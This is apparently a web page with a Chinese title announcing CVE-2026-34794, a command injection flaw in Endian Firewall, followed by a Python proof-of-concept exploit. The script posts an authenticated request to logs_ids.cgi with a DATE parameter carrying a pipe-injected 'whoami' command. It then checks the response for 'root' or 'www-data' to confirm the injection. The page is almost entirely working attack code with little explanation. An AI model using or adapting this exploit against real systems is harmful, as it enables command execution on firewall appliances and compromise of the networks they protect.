CVE-2026-34794: Endian Firewall 命令注入漏洞

import requests # Target URL (replace with actual target) target_url = "http://example.com/cgi-bin/logs_ids.cgi" # Attacker's authenticated session cookie # Exploitation requires valid authentication (PR:L) cookies = { "EFW_SID": "valid_session_id_here" } # The vulnerable parameter is 'DATE'. # Perl's open() function interprets the pipe '|' as a command injection. # Payload format: [valid_date_format] | [command] payload_data = { "DATE": "2023-01-01 | whoami" } try: response = requests.post(target_url, data=payload_data, cookies=cookies, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response body:") print(response.text) # Check if the command output is present in the response if "root" in response.text or "www-data" in response.text: print("[!] Command injection likely successful.") else: print(f"[-] Server returned status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")